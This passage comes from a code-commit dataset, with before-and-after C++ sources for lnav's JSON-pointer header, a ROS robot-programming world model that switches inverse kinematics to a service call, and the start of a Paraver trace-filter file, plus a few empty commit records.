(this->jp_pos[lpc] == '\/') {\n                ch = '\\0';\n            }\n\n            if (ch != *component) {\n                return true;\n            }\n        }\n\n        this->jp_pos += lpc;\n        this->jp_state = MS_VALUE;\n\n        return true;\n    };\n\n    void exit_container(int32_t &depth, int32_t &index) {\n        depth -= 1;\n        if (this->jp_state == MS_VALUE && depth == this->jp_depth) {\n            this->jp_state = MS_DONE;\n            index = -1;\n        }\n    };\n\n    bool expect_array(int32_t &depth, int32_t &index) {\n        bool retval;\n\n        if (this->jp_state == MS_DONE) {\n            retval = true;\n        }\n        else if (depth != this->jp_depth) {\n            retval = true;\n        }\n        else if (this->reached_end()) {\n            retval = true;\n        }\n        else if (this->jp_pos[0] == '\/') {\n            int offset;\n\n            this->jp_depth += 1;\n\n            if (sscanf(this->jp_pos, \"\/%d%n\", &this->jp_array_index, &offset) != 1) {\n                this->jp_state = MS_ERR_INVALID_INDEX;\n                retval = false;\n            }\n            else if (this->jp_pos[offset] != '\\0' && this->jp_pos[offset] != '\/') {\n                this->jp_state = MS_ERR_INVALID_INDEX;\n                retval = false;\n            }\n            else {\n                index = 0;\n                this->jp_pos += offset;\n                this->jp_state = MS_ELEMENT;\n                retval = true;\n            }\n        }\n        else {\n            this->jp_state = MS_ERR_NO_SLASH;\n            retval = false;\n        }\n\n        depth += 1;\n\n        return retval;\n    };\n\n    bool at_index(int32_t &depth, int32_t &index, bool primitive = true) {\n        bool retval;\n\n        if (this->jp_state == MS_DONE) {\n            retval = false;\n        }\n        else if (depth < this->jp_depth) {\n            retval = false;\n        }\n        else if (depth == this->jp_depth) {\n            if (index == -1) {\n                if (this->jp_array_index == -1) {\n                    retval = this->reached_end();\n                    if (primitive && retval) {\n                        this->jp_state = MS_DONE;\n                    }\n                }\n                else {\n                    retval = false;\n                }\n            }\n            else if (index == this->jp_array_index) {\n                retval = this->reached_end();\n                index = -1;\n                if (primitive && retval) {\n                    this->jp_state = MS_DONE;\n                }\n            }\n            else {\n                index += 1;\n                retval = false;\n            }\n        }\n        else if (index == -1) {\n            retval = this->reached_end();\n        }\n        else {\n            retval = false;\n        }\n\n        return retval;\n    };\n\n    bool reached_end() {\n        return this->jp_pos[0] == '\\0';\n    };\n\n    std::string error_msg() const {\n        std::string retval;\n\n        switch (this->jp_state) {\n        case MS_ERR_INVALID_ESCAPE:\n            retval = (\"invalid escape sequence near -- \" + std::string(this->jp_pos));\n            break;\n        case MS_ERR_INVALID_INDEX:\n            retval = (\"expecting array index at -- \" + std::string(this->jp_pos));\n            break;\n        case MS_ERR_INVALID_TYPE:\n            retval = (\"expecting container at -- \" + std::string(\n                this->jp_value, this->jp_pos - this->jp_value));\n            break;\n        default:\n            break;\n        }\n\n        return retval;\n    };\n\n    const char *jp_value;\n    const char *jp_pos;\n    int32_t jp_depth;\n    int32_t jp_array_index;\n    match_state_t jp_state;\n};\n\n#endif\n<commit_msg>[-Wsign-compare] json_ptr.hh<commit_after>\/**\n * Copyright (c) 2014, Timothy Stack\n *\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * * Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n * * Neither the name of Timothy Stack nor the names of its contributors\n * may be used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY TIMOTHY STACK AND CONTRIBUTORS ''AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR ANY\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * @file json_ptr.hh\n *\/\n\n#ifndef __json_ptr_hh\n#define __json_ptr_hh\n\n#include <stdio.h>\n#include <stdint.h>\n#include <string.h>\n#include <sys\/types.h>\n\n#include <string>\n#include <vector>\n\n#include \"yajlpp.hh\"\n#include \"lnav_log.hh\"\n\nclass json_ptr_walk {\npublic:\n    const static yajl_callbacks callbacks;\n\n    json_ptr_walk() : jpw_handle(yajl_free) {\n        this->jpw_handle = yajl_alloc(&callbacks, NULL, this);\n    };\n\n    yajl_status parse(const char *buffer, ssize_t len) {\n        yajl_status retval;\n\n        retval = yajl_parse(this->jpw_handle, (const unsigned char *)buffer, len);\n        this->update_error_msg(retval, buffer, len);\n        return retval;\n    };\n\n    yajl_status complete_parse() {\n        yajl_status retval;\n\n        retval = yajl_complete_parse(this->jpw_handle);\n        this->update_error_msg(retval, NULL, -1);\n        return retval;\n    };\n\n    void update_error_msg(yajl_status status, const char *buffer, ssize_t len) {\n        switch (status) {\n        case yajl_status_ok:\n            break;\n        case yajl_status_client_canceled:\n            this->jpw_error_msg = \"internal error\";\n            break;\n        case yajl_status_error:\n            this->jpw_error_msg = std::string((const char *)yajl_get_error(\n                this->jpw_handle, 1, (const unsigned char *)buffer, len));\n            break;\n        }\n    };\n\n    void clear() {\n        this->jpw_values.clear();\n    };\n\n    void inc_array_index() {\n        if (!this->jpw_array_indexes.empty() &&\n            this->jpw_array_indexes.back() != -1) {\n            this->jpw_array_indexes.back() += 1;\n        }\n    };\n\n    std::string current_ptr() {\n        std::string retval;\n\n        for (size_t lpc = 0; lpc < this->jpw_array_indexes.size(); lpc++) {\n            retval.append(\"\/\");\n            if (this->jpw_array_indexes[lpc] == -1) {\n                retval.append(this->jpw_keys[lpc]);\n            }\n            else {\n                char num[64];\n\n                snprintf(num, sizeof(num), \"%d\", this->jpw_array_indexes[lpc]);\n                retval.append(num);\n            }\n        }\n\n        return retval;\n    };\n\n    typedef std::vector<std::pair<std::string, std::string> > pair_list_t;\n\n    auto_mem<yajl_handle_t> jpw_handle;\n    std::string jpw_error_msg;\n    pair_list_t jpw_values;\n    std::vector<std::string> jpw_keys;\n    std::vector<int32_t> jpw_array_indexes;\n};\n\nclass json_ptr {\npublic:\n    enum match_state_t {\n        MS_DONE,\n        MS_VALUE,\n        MS_ELEMENT,\n        MS_ERR_INVALID_TYPE,\n        MS_ERR_NO_SLASH,\n        MS_ERR_INVALID_ESCAPE,\n        MS_ERR_INVALID_INDEX,\n    };\n\n    static size_t encode(char *dst, size_t dst_len, const char *src, size_t src_len = -1) {\n        size_t retval = 0;\n\n        if (src_len == (size_t)-1) {\n            src_len = strlen(src);\n        }\n\n        for (size_t lpc = 0; lpc < src_len; lpc++) {\n            switch (src[lpc]) {\n            case '\/':\n            case '~':\n                if (retval < dst_len) {\n                    dst[retval] = '~';\n                    retval += 1;\n                    if (src[lpc] == '~') {\n                        dst[retval] = '0';\n                    }\n                    else {\n                        dst[retval] = '1';\n                    }\n                }\n                else {\n                    retval += 1;\n                }\n                break;\n            default:\n                if (retval < dst_len) {\n                    dst[retval] = src[lpc];\n                }\n                break;\n            }\n            retval += 1;\n        }\n\n        return retval;\n    };\n\n    json_ptr(const char *value)\n        : jp_value(value), jp_pos(value), jp_depth(0), jp_array_index(-1),\n          jp_state(MS_VALUE) {\n\n    };\n\n    bool expect_map(int32_t &depth) {\n        bool retval;\n\n        if (this->jp_state == MS_DONE) {\n            retval = true;\n        }\n        else if (depth != this->jp_depth) {\n            retval = true;\n        }\n        else if (this->reached_end()) {\n            retval = true;\n        }\n        else if (this->jp_state == MS_VALUE) {\n           if (this->jp_pos[0] == '\/') {\n               this->jp_pos += 1;\n               this->jp_depth += 1;\n               this->jp_state = MS_ELEMENT;\n               retval = true;\n           }\n           else {\n               this->jp_state = MS_ERR_NO_SLASH;\n               retval = false;\n           }\n        }\n        else {\n            retval = true;\n        }\n        depth += 1;\n\n        return retval;\n    };\n\n    bool at_key(int32_t depth, const char *component, ssize_t len = -1) {\n        const char *component_end;\n        int lpc;\n\n        if (this->jp_state == MS_DONE || depth != this->jp_depth) {\n            return true;\n        }\n\n        if (len == -1) {\n            len = strlen(component);\n        }\n        component_end = component + len;\n\n        for (lpc = 0; component < component_end; lpc++, component++) {\n            char ch = this->jp_pos[lpc];\n\n            if (this->jp_pos[lpc] == '~') {\n                switch (this->jp_pos[lpc + 1]) {\n                case '0':\n                    ch = '~';\n                    break;\n                case '1':\n                    ch = '\/';\n                    break;\n                default:\n                    this->jp_state = MS_ERR_INVALID_ESCAPE;\n                    return false;\n                }\n                lpc += 1;\n            }\n            else if (this->jp_pos[lpc] == '\/') {\n                ch = '\\0';\n            }\n\n            if (ch != *component) {\n                return true;\n            }\n        }\n\n        this->jp_pos += lpc;\n        this->jp_state = MS_VALUE;\n\n        return true;\n    };\n\n    void exit_container(int32_t &depth, int32_t &index) {\n        depth -= 1;\n        if (this->jp_state == MS_VALUE && depth == this->jp_depth) {\n            this->jp_state = MS_DONE;\n            index = -1;\n        }\n    };\n\n    bool expect_array(int32_t &depth, int32_t &index) {\n        bool retval;\n\n        if (this->jp_state == MS_DONE) {\n            retval = true;\n        }\n        else if (depth != this->jp_depth) {\n            retval = true;\n        }\n        else if (this->reached_end()) {\n            retval = true;\n        }\n        else if (this->jp_pos[0] == '\/') {\n            int offset;\n\n            this->jp_depth += 1;\n\n            if (sscanf(this->jp_pos, \"\/%d%n\", &this->jp_array_index, &offset) != 1) {\n                this->jp_state = MS_ERR_INVALID_INDEX;\n                retval = false;\n            }\n            else if (this->jp_pos[offset] != '\\0' && this->jp_pos[offset] != '\/') {\n                this->jp_state = MS_ERR_INVALID_INDEX;\n                retval = false;\n            }\n            else {\n                index = 0;\n                this->jp_pos += offset;\n                this->jp_state = MS_ELEMENT;\n                retval = true;\n            }\n        }\n        else {\n            this->jp_state = MS_ERR_NO_SLASH;\n            retval = false;\n        }\n\n        depth += 1;\n\n        return retval;\n    };\n\n    bool at_index(int32_t &depth, int32_t &index, bool primitive = true) {\n        bool retval;\n\n        if (this->jp_state == MS_DONE) {\n            retval = false;\n        }\n        else if (depth < this->jp_depth) {\n            retval = false;\n        }\n        else if (depth == this->jp_depth) {\n            if (index == -1) {\n                if (this->jp_array_index == -1) {\n                    retval = this->reached_end();\n                    if (primitive && retval) {\n                        this->jp_state = MS_DONE;\n                    }\n                }\n                else {\n                    retval = false;\n                }\n            }\n            else if (index == this->jp_array_index) {\n                retval = this->reached_end();\n                index = -1;\n                if (primitive && retval) {\n                    this->jp_state = MS_DONE;\n                }\n            }\n            else {\n                index += 1;\n                retval = false;\n            }\n        }\n        else if (index == -1) {\n            retval = this->reached_end();\n        }\n        else {\n            retval = false;\n        }\n\n        return retval;\n    };\n\n    bool reached_end() {\n        return this->jp_pos[0] == '\\0';\n    };\n\n    std::string error_msg() const {\n        std::string retval;\n\n        switch (this->jp_state) {\n        case MS_ERR_INVALID_ESCAPE:\n            retval = (\"invalid escape sequence near -- \" + std::string(this->jp_pos));\n            break;\n        case MS_ERR_INVALID_INDEX:\n            retval = (\"expecting array index at -- \" + std::string(this->jp_pos));\n            break;\n        case MS_ERR_INVALID_TYPE:\n            retval = (\"expecting container at -- \" + std::string(\n                this->jp_value, this->jp_pos - this->jp_value));\n            break;\n        default:\n            break;\n        }\n\n        return retval;\n    };\n\n    const char *jp_value;\n    const char *jp_pos;\n    int32_t jp_depth;\n    int32_t jp_array_index;\n    match_state_t jp_state;\n};\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Rename variables in function declarations.<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Bugfix: `Biont`: initialize `symbiont_species`.<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Edited whitespace.<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"rapid_pbd\/world.h\"\n\n#include <math.h>\n#include <string>\n#include <vector>\n\n#include \"rapid_pbd_msgs\/Action.h\"\n#include \"rapid_pbd_msgs\/Landmark.h\"\n#include \"rapid_pbd_msgs\/Program.h\"\n#include \"rapid_pbd_msgs\/Step.h\"\n#include \"transform_graph\/graph.h\"\n\n#include \"rapid_pbd\/joint_state.h\"\n#include \"rapid_pbd\/robot_config.h\"\n\n#include \"ros\/ros.h\"\n\nnamespace msgs = rapid_pbd_msgs;\n\nnamespace rapid {\nnamespace pbd {\nvoid GetWorld(const RobotConfig& robot_config, const msgs::Program& program,\n              size_t step_id, World* world) {\n  world->scene_id = \"\";\n  JointState js(program.start_joint_state);\n  world->joint_state = js;\n  world->surface_box_landmarks.clear();\n\n  \/\/ TODO: If this gets noticeably slow, change it so that it searches backward\n  \/\/ instead of simulating forward. The channels to search are:\n  \/\/ - Gripper action \/ actuator group\n  \/\/ - Joint\/Cartesian arm action \/ actuator group\n  \/\/ - Scene ID\n  \/\/ - Landmarks\n  for (size_t step_i = 0; step_i <= step_id; ++step_i) {\n    if (program.steps.size() == 0) {\n      break;\n    }\n    const msgs::Step& step = program.steps[step_i];\n    if (step.scene_id != \"\") {\n      world->scene_id = step.scene_id;\n    }\n\n    for (size_t action_i = 0; action_i < step.actions.size(); ++action_i) {\n      const msgs::Action& action = step.actions[action_i];\n      if (action.type == msgs::Action::ACTUATE_GRIPPER) {\n        std::vector<std::string> joint_names;\n        robot_config.gripper_joints_for_group(action.actuator_group,\n                                              &joint_names);\n        std::vector<double> positions;\n        if (action.gripper_command.position > 0.0001) {\n          robot_config.gripper_open_positions(&positions);\n        } else {\n          robot_config.gripper_close_positions(&positions);\n        }\n        for (size_t i = 0; i < joint_names.size(); ++i) {\n          world->joint_state.SetPosition(joint_names[i], positions[i]);\n        }\n      } else if (action.type == msgs::Action::MOVE_TO_JOINT_GOAL) {\n        const trajectory_msgs::JointTrajectory& trajectory =\n            action.joint_trajectory;\n        if (trajectory.points.size() == 0) {\n          continue;\n        }\n        for (size_t i = 0; i < trajectory.joint_names.size(); ++i) {\n          const std::string& name = trajectory.joint_names[i];\n          double position = trajectory.points[0].positions[i];\n          world->joint_state.SetPosition(name, position);\n        }\n      } else if (action.type == msgs::Action::MOVE_TO_CARTESIAN_GOAL) {\n        std::vector<std::string> joint_names;\n        std::vector<double> joint_values;\n\n        transform_graph::Graph graph;\n        graph.Add(\"landmark\",\n                  transform_graph::RefFrame(robot_config.base_link()),\n                  action.landmark.pose_stamped.pose);\n        graph.Add(\"ee\", transform_graph::RefFrame(\"landmark\"), action.pose);\n        transform_graph::Transform ee_in_base;\n        graph.ComputeDescription(\n            transform_graph::LocalFrame(\"ee\"),\n            transform_graph::RefFrame(robot_config.base_link()), &ee_in_base);\n        geometry_msgs::Pose pose;\n        ee_in_base.ToPose(&pose);\n        bool success = robot_config.ComputeIk(action.actuator_group, pose,\n                                              &joint_names, &joint_values);\n        if (!success) {\n          ROS_ERROR_STREAM(\"Failed to compute IK for actuator \"\n                           << action.actuator_group << \"on step\" << step_i\n                           << \", action \" << action_i << \", pose: \" << pose);\n          continue;\n        }\n        for (size_t j = 0; j < joint_names.size(); ++j) {\n          const std::string& name = joint_names[j];\n          double position = joint_values[j];\n          world->joint_state.SetPosition(name, position);\n        }\n      }\n    }\n\n    std::vector<msgs::Landmark> surface_boxes;\n    for (size_t landmark_i = 0; landmark_i < step.landmarks.size();\n         ++landmark_i) {\n      const msgs::Landmark& landmark = step.landmarks[landmark_i];\n      if (landmark.type == msgs::Landmark::SURFACE_BOX) {\n        surface_boxes.push_back(landmark);\n      }\n      \/\/ Deal with other landmark types here\n    }\n    \/\/ Replace all surface objects if there are any.\n    if (surface_boxes.size() > 0) {\n      world->surface_box_landmarks = surface_boxes;\n    }\n  }\n}\n\nnamespace {\n\/\/ Returns dimensions as a vector, with x always <= y.\nvoid GetDims(const msgs::Landmark& landmark, std::vector<double>* dims) {\n  dims->resize(3);\n  dims->at(0) =\n      std::min(landmark.surface_box_dims.x, landmark.surface_box_dims.y);\n  dims->at(1) =\n      std::max(landmark.surface_box_dims.x, landmark.surface_box_dims.y);\n  dims->at(2) = landmark.surface_box_dims.z;\n}\n\n\/\/ Returns squared norm of vectors a and b.\ndouble BoxDissimilarity(const std::vector<double>& a,\n                        const std::vector<double>& b) {\n  double dx = (a[0] - b[0]);\n  double dy = (a[1] - b[1]);\n  double dz = (a[2] - b[2]);\n  return dx * dx + dy * dy + dz * dz;\n}\n}\n\nbool MatchLandmark(const World& world, const rapid_pbd_msgs::Landmark& landmark,\n                   rapid_pbd_msgs::Landmark* match) {\n  const double kMaxDistance = 0.075 * 0.075;\n  std::vector<double> landmark_dims;\n  GetDims(landmark, &landmark_dims);\n  if (landmark.type == msgs::Landmark::SURFACE_BOX) {\n    double best = std::numeric_limits<double>::max();\n    for (size_t i = 0; i < world.surface_box_landmarks.size(); ++i) {\n      const msgs::Landmark& world_landmark = world.surface_box_landmarks[i];\n      std::vector<double> world_landmark_dims;\n      GetDims(world_landmark, &world_landmark_dims);\n      double distance = BoxDissimilarity(landmark_dims, world_landmark_dims);\n      if (distance < best) {\n        best = distance;\n        *match = world_landmark;\n      }\n    }\n    return best <= kMaxDistance;\n  } else {\n    return false;\n  }\n}\n}  \/\/ namespace pbd\n}  \/\/ namespace rapid\n<commit_msg>Get IK using service.<commit_after>#include \"rapid_pbd\/world.h\"\n\n#include <math.h>\n#include <string>\n#include <vector>\n\n#include \"moveit_msgs\/GetPositionIK.h\"\n#include \"rapid_pbd_msgs\/Action.h\"\n#include \"rapid_pbd_msgs\/Landmark.h\"\n#include \"rapid_pbd_msgs\/Program.h\"\n#include \"rapid_pbd_msgs\/Step.h\"\n#include \"transform_graph\/graph.h\"\n\n#include \"rapid_pbd\/joint_state.h\"\n#include \"rapid_pbd\/robot_config.h\"\n\n#include \"ros\/ros.h\"\n\nnamespace msgs = rapid_pbd_msgs;\n\nnamespace rapid {\nnamespace pbd {\nvoid GetWorld(const RobotConfig& robot_config, const msgs::Program& program,\n              size_t step_id, World* world) {\n  world->scene_id = \"\";\n  JointState js(program.start_joint_state);\n  world->joint_state = js;\n  world->surface_box_landmarks.clear();\n\n  \/\/ TODO: If this gets noticeably slow, change it so that it searches backward\n  \/\/ instead of simulating forward. The channels to search are:\n  \/\/ - Gripper action \/ actuator group\n  \/\/ - Joint\/Cartesian arm action \/ actuator group\n  \/\/ - Scene ID\n  \/\/ - Landmarks\n  for (size_t step_i = 0; step_i <= step_id; ++step_i) {\n    if (program.steps.size() == 0) {\n      break;\n    }\n    const msgs::Step& step = program.steps[step_i];\n    if (step.scene_id != \"\") {\n      world->scene_id = step.scene_id;\n    }\n\n    for (size_t action_i = 0; action_i < step.actions.size(); ++action_i) {\n      const msgs::Action& action = step.actions[action_i];\n      if (action.type == msgs::Action::ACTUATE_GRIPPER) {\n        std::vector<std::string> joint_names;\n        robot_config.gripper_joints_for_group(action.actuator_group,\n                                              &joint_names);\n        std::vector<double> positions;\n        if (action.gripper_command.position > 0.0001) {\n          robot_config.gripper_open_positions(&positions);\n        } else {\n          robot_config.gripper_close_positions(&positions);\n        }\n        for (size_t i = 0; i < joint_names.size(); ++i) {\n          world->joint_state.SetPosition(joint_names[i], positions[i]);\n        }\n      } else if (action.type == msgs::Action::MOVE_TO_JOINT_GOAL) {\n        const trajectory_msgs::JointTrajectory& trajectory =\n            action.joint_trajectory;\n        if (trajectory.points.size() == 0) {\n          continue;\n        }\n        for (size_t i = 0; i < trajectory.joint_names.size(); ++i) {\n          const std::string& name = trajectory.joint_names[i];\n          double position = trajectory.points[0].positions[i];\n          world->joint_state.SetPosition(name, position);\n        }\n      } else if (action.type == msgs::Action::MOVE_TO_CARTESIAN_GOAL) {\n        transform_graph::Graph graph;\n        graph.Add(\"landmark\",\n                  transform_graph::RefFrame(robot_config.base_link()),\n                  action.landmark.pose_stamped.pose);\n        graph.Add(\"ee\", transform_graph::RefFrame(\"landmark\"), action.pose);\n        transform_graph::Transform ee_in_base;\n        graph.ComputeDescription(\n            transform_graph::LocalFrame(\"ee\"),\n            transform_graph::RefFrame(robot_config.base_link()), &ee_in_base);\n        geometry_msgs::Pose pose;\n        ee_in_base.ToPose(&pose);\n\n        \/\/ TODO: This looks pretty inefficient but doesn't \"feel\" slow yet.\n        \/\/ Could use a rewrite if it does feel slow.\n        moveit_msgs::GetPositionIKRequest ik_req;\n        if (action.actuator_group == msgs::Action::ARM) {\n          ik_req.ik_request.group_name = \"arm\";\n        } else if (action.actuator_group == msgs::Action::LEFT_ARM) {\n          ik_req.ik_request.group_name = \"left_arm\";\n        } else if (action.actuator_group == msgs::Action::RIGHT_ARM) {\n          ik_req.ik_request.group_name = \"right_arm\";\n        }\n        ik_req.ik_request.pose_stamped.header.frame_id =\n            robot_config.base_link();\n        ik_req.ik_request.pose_stamped.pose = pose;\n        ik_req.ik_request.attempts = 3;\n        ik_req.ik_request.timeout = ros::Duration(1);\n        robot_config.joints_for_group(action.actuator_group,\n                                      &ik_req.ik_request.ik_link_names);\n\n        moveit_msgs::GetPositionIKResponse ik_res;\n        ros::service::call(\"\/compute_ik\", ik_req, ik_res);\n        bool success =\n            ik_res.error_code.val == moveit_msgs::MoveItErrorCodes::SUCCESS;\n\n        if (!success) {\n          ROS_ERROR_STREAM(\"Failed to compute IK for actuator \"\n                           << action.actuator_group << \"on step\" << step_i\n                           << \", action \" << action_i << \", pose: \" << pose);\n          continue;\n        }\n\n        std::vector<std::string> joint_names;\n        robot_config.joints_for_group(action.actuator_group, &joint_names);\n        std::set<std::string> joint_set;\n        joint_set.insert(joint_names.begin(), joint_names.end());\n        for (size_t j = 0; j < ik_res.solution.joint_state.name.size(); ++j) {\n          const std::string& name = ik_res.solution.joint_state.name[j];\n          const double value = ik_res.solution.joint_state.position[j];\n          if (joint_set.find(name) != joint_set.end()) {\n            world->joint_state.SetPosition(name, value);\n          }\n        }\n      }\n    }\n\n    std::vector<msgs::Landmark> surface_boxes;\n    for (size_t landmark_i = 0; landmark_i < step.landmarks.size();\n         ++landmark_i) {\n      const msgs::Landmark& landmark = step.landmarks[landmark_i];\n      if (landmark.type == msgs::Landmark::SURFACE_BOX) {\n        surface_boxes.push_back(landmark);\n      }\n      \/\/ Deal with other landmark types here\n    }\n    \/\/ Replace all surface objects if there are any.\n    if (surface_boxes.size() > 0) {\n      world->surface_box_landmarks = surface_boxes;\n    }\n  }\n}\n\nnamespace {\n\/\/ Returns dimensions as a vector, with x always <= y.\nvoid GetDims(const msgs::Landmark& landmark, std::vector<double>* dims) {\n  dims->resize(3);\n  dims->at(0) =\n      std::min(landmark.surface_box_dims.x, landmark.surface_box_dims.y);\n  dims->at(1) =\n      std::max(landmark.surface_box_dims.x, landmark.surface_box_dims.y);\n  dims->at(2) = landmark.surface_box_dims.z;\n}\n\n\/\/ Returns squared norm of vectors a and b.\ndouble BoxDissimilarity(const std::vector<double>& a,\n                        const std::vector<double>& b) {\n  double dx = (a[0] - b[0]);\n  double dy = (a[1] - b[1]);\n  double dz = (a[2] - b[2]);\n  return dx * dx + dy * dy + dz * dz;\n}\n}\n\nbool MatchLandmark(const World& world, const rapid_pbd_msgs::Landmark& landmark,\n                   rapid_pbd_msgs::Landmark* match) {\n  const double kMaxDistance = 0.075 * 0.075;\n  std::vector<double> landmark_dims;\n  GetDims(landmark, &landmark_dims);\n  if (landmark.type == msgs::Landmark::SURFACE_BOX) {\n    double best = std::numeric_limits<double>::max();\n    for (size_t i = 0; i < world.surface_box_landmarks.size(); ++i) {\n      const msgs::Landmark& world_landmark = world.surface_box_landmarks[i];\n      std::vector<double> world_landmark_dims;\n      GetDims(world_landmark, &world_landmark_dims);\n      double distance = BoxDissimilarity(landmark_dims, world_landmark_dims);\n      if (distance < best) {\n        best = distance;\n        *match = world_landmark;\n      }\n    }\n    return best <= kMaxDistance;\n  } else {\n    return false;\n  }\n}\n}  \/\/ namespace pbd\n}  \/\/ namespace rapid\n<|endoftext|>"}
{"text":"<commit_before>\/*****************************************************************************\\\n *                        ANALYSIS PERFORMANCE TOOLS                         *\n *                               libparaver-api                              *\n *                       Paraver Main Computing Library                      *\n *****************************************************************************\n *     ___     This library is free software; you can redistribute it and\/or *\n *    \/  __         modify it under the terms of the GNU LGPL as published   *\n *   \/  \/  _____    by the Free Software Foundation; either version 2.1      *\n *  \/  \/  \/     \\   of the License, or (at your option) any later version.   *\n * (  (  ( B S C )                                                           *\n *  \\  \\  \\_____\/   This library is distributed in hope that it will be      *\n *   \\  \\__         useful but WITHOUT ANY WARRANTY; without even the        *\n *    \\___          implied warranty of MERCHANTABILITY or FITNESS FOR A     *\n *                  PARTICULAR PURPOSE. See the GNU LGPL for more details.   *\n *                                                                           *\n * You should have received a copy of the GNU Lesser General Public License  *\n * along with this library; if not, write to the Free Software Foundation,   *\n * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA          *\n * The GNU LEsser General Public License is contained in the file COPYING.   *\n *                                 ---------                                 *\n *   Barcelona Supercomputing Center - Centro Nacional de Supercomputacion   *\n\\*****************************************************************************\/\n\n\/* -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- *\\\n | @file: $HeadURL$\n | @last_commit: $Date$\n | @version:     $Revision$\n\\* -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- *\/\n\n#include \"kfilter.h\"\n#include \"kwindow.h\"\n#include \"functionmanagement.h\"\n\nbool KFilter::passFilter( MemoryTrace::iterator *it )\n{\n  if ( it->getType() & EVENT )\n    return filterEvents( it );\n  else if ( it->getType() & COMM ||\n            it->getType() & RSEND ||\n            it->getType() & RRECV )\n    return filterComms( it );\n  return true;\n}\n\nbool KFilter::filterComms( MemoryTrace::iterator *it )\n{\n  bool stop = true;\n  TSemanticValue info;\n\n  if ( !( logical && physical ) )\n  {\n    if ( !logical && !physical )\n      return false;\n    if ( it->getType() & LOG )\n    {\n      if ( !logical )\n        return false;\n    }\n    else if ( it->getType() & PHY )\n    {\n      if ( !physical )\n      {\n        if ( !( logical && ( ( it->getType() & RECV ) &&\n                             ( window->getTrace()->getLogicalReceive( it->getCommIndex() ) <\n                               window->getTrace()->getPhysicalReceive( it->getCommIndex() ) ) ) )\n           )\n          return false;\n      }\n    }\n  }\n\n  bool tmpResult = functionCommFrom->getDefaultValue();\n  if ( existCommFrom )\n  {\n    if ( window->getLevel() >= SYSTEM )\n    {\n      TCPUOrder tmpCPU = window->getTrace()->getSenderCPU( it->getCommIndex() );\n      info = ( TSemanticValue ) window->cpuObjectToWindowObject( tmpCPU );\n    }\n    else\n    {\n      TThreadOrder tmpThread = window->getTrace()->getSenderThread( it->getCommIndex() );\n      info = ( TSemanticValue ) window->threadObjectToWindowObject( tmpThread );\n    }\n    for ( PRV_UINT32 i = 0; i < commFrom.size(); i++ )\n    {\n      stop = functionCommFrom->execute( ( TSemanticValue ) commFrom[ i ], info );\n      if ( stop )\n        break;\n    }\n    tmpResult = functionCommFrom->getResult();\n  }\n\n  if ( opFromTo == AND && !tmpResult )\n    return false;\n  else if( opFromTo == OR && tmpResult )\n    return true;\n\n  tmpResult = functionCommTo->getDefaultValue();\n  if ( existCommTo )\n  {\n    if ( window->getLevel() >= SYSTEM )\n    {\n      TCPUOrder tmpCPU = window->getTrace()->getReceiverCPU( it->getCommIndex() );\n      info = ( TSemanticValue ) window->cpuObjectToWindowObject( tmpCPU );\n    }\n    else\n    {\n      TThreadOrder tmpThread = window->getTrace()->getReceiverThread( it->getCommIndex() );\n      info = ( TSemanticValue ) window->threadObjectToWindowObject( tmpThread );\n    }\n    for ( PRV_UINT32 i = 0; i < commTo.size(); i++ )\n    {\n      stop = functionCommTo->execute( ( TSemanticValue ) commTo[ i ], info );\n      if ( stop )\n        break;\n    }\n    tmpResult = functionCommTo->getResult();\n  }\n\n  if ( !tmpResult )\n    return false;\n\n  tmpResult = functionCommTags->getDefaultValue();\n  if ( existCommTags )\n  {\n    info = ( TSemanticValue ) window->getTrace()->getCommTag( it->getCommIndex() );\n    for ( PRV_UINT32 i = 0; i < commTags.size(); i++ )\n    {\n      stop = functionCommTags->execute( ( TSemanticValue ) commTags[ i ], info );\n      if ( stop )\n        break;\n    }\n    tmpResult = functionCommTags->getResult();\n  }\n\n  if ( opTagSize == AND && !tmpResult )\n    return false;\n  else if( opTagSize == OR && tmpResult )\n    return true;\n\n  tmpResult = functionCommSizes->getDefaultValue();\n  if ( existCommSize )\n  {\n    info = ( TSemanticValue ) window->getTrace()->getCommSize( it->getCommIndex() );\n    for ( PRV_UINT32 i = 0; i < commSizes.size(); i++ )\n    {\n      stop = functionCommSizes->execute( ( TSemanticValue ) commSizes[ i ], info );\n      if ( stop == false )\n        break;\n    }\n    tmpResult = functionCommSizes->getResult();\n  }\n\n  if ( !tmpResult )\n    return false;\n\n  tmpResult = functionBandWidth->getDefaultValue();\n  if ( existBandWidth )\n  {\n    info = ( TSemanticValue ) window->getTrace()->getCommSize( it->getCommIndex() )\n           \/ ( TSemanticValue )\n           ( window->getTrace()->getPhysicalReceive( it->getCommIndex() ) -\n             window->getTrace()->getPhysicalSend( it->getCommIndex() ) );\n    for ( 